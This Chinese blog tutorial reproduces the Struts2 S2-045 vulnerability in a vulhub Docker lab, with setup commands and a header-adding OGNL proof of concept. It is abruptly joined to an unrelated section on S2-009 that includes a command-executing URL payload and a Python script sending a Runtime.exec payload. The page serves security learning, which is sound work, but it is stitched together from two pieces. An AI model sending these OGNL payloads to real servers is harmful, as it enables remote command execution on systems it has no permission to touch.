Struts2 漏洞复现之s2-045

本文介绍了Struts2的s2-045漏洞,该漏洞源于Jakarta插件的文件上传功能,允许攻击者通过修改Content-Type执行系统命令。受影响的版本包括Struts 2.3.5到2.3.31及2.5到2.5.10。文中详细讲述了漏洞复现步骤,包括构造POC并使用Burpsuite进行数据包篡改。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Struts2 漏洞复现之s2-045

原理:

在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。
影响版本:
Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10

1.进入045

cd vulhub-master/struts2/s2-045

2.开启045

docker-compose up -d

在这里插入图片描述
3.访问靶机ip:8080
在这里插入图片描述
3.构造poc,使用抓包工具Burpsuite,修改数据包插入poc
poc1:
%{#context[‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’].addHeader(‘vulhub’,233233)}.mul

### Struts2 S2-009 漏洞复现方法 Struts2 的 S2-009 漏洞主要源于其对 OGNL 表达式的处理不当,允许攻击者通过特定的输入执行任意代码。以下是关于该漏洞的具体分析以及如何进行复现的方法。 #### 背景介绍 Struts2 对于之前版本中的某些安全问题进行了修复,例如针对 S2-003 和 S2-005 的修补措施分别涉及禁用 `#` 号和反斜杠 `\` 符号[^1]。然而,在这些修复之后,新的绕过方式被发现并最终导致了 S2-009 漏洞的发生。 #### 影响范围 此漏洞影响以下版本: - **Struts 2.0.0 到 Struts 2.3.14.2** #### 漏洞原理 S2-009 是由于开发者未能完全阻止恶意用户构造特殊的 URL 参数来触发 OGNL 表达式解析器的行为所致。具体来说,即使框架已经尝试过滤掉一些敏感字符(如 `#`),但仍然可以通过其他手段实现类似的逻辑操作,从而达到远程命令执行的目的。 #### 复现步骤描述 为了成功重现这一漏洞,可以按照如下方式进行设置: 1. 准备目标应用程序环境,确保运行的是受影响范围内未打补丁的 Struts 版本; 2. 构造含有恶意 payload 的 HTTP 请求发送给服务器端口监听地址; - Payload 示例形式可能类似于下面这样 (需替换实际 IP 地址) : ```bash http://<target-ip>:8080/example.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22cmd.exe%22,%22/c%22,%22dir%22})).start()} ``` 上述例子展示了如何利用 `${}` 结构嵌入一段 Java 代码片段到请求参数当中去调用系统 shell 命令。 注意:以上仅为理论说明用途,请勿非法测试他人网站! #### 防护建议 为了避免此类安全隐患再次发生,官方推荐采取以下防护策略之一或者组合使用它们: - 升级至最新稳定版 Struts 库文件; - 自定义配置白名单验证机制限制外部可控变量的内容类型; - 开启开发模式下的调试日志记录功能以便及时发现问题所在位置。 ```python import requests url = 'http://localhost:8080/example.action' payload = {'redirect': '${@java.lang.Runtime@getRuntime().exec("id")}'} response = requests.get(url, params=payload) print(response.text) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值